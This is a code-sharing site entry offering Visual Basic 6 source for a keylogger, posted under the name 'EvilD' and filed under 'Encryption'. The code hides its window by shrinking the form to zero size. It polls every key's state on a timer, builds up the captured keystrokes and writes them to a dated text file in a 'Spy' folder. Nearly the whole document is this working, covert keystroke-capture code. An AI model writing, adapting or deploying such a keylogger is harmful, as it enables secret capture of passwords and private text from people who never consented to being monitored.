by EvilD (3 Submissions)
Category: Encryption
Compatability: VB 6.0
Difficulty: Unknown Difficulty
Originally Published: Tue 11th November 2008
Date Added: Mon 8th February 2021
Rating: (1 Votes)
Log all keys press on your pc saves to document with date of file as name
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Private Sub Form_Load()
On Error GoTo ErrorHandler:
Form1.Width = 0
Form1.Height = 0
Form1.Top = 0
Form1.Left = 0
MkDir (App.Path & "\" & "Spy")
ErrorHandler:
End Sub
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Timer()
On Error GoTo ErrorHandler
Text2.Text = Format(Date, "dd,mm,yyyy")
Open App.Path & "\" & "Spy" & "\" & Text2.Text & ".txt" For Output As #1
Write #1, Text1.Text
Close #1
ErrorHandler:
End Sub
No comments have been posted about Log all keys press on your pc saves to document with date of file as name. Why not be the first to post a comment about Log all keys press on your pc saves to document with date of file as name.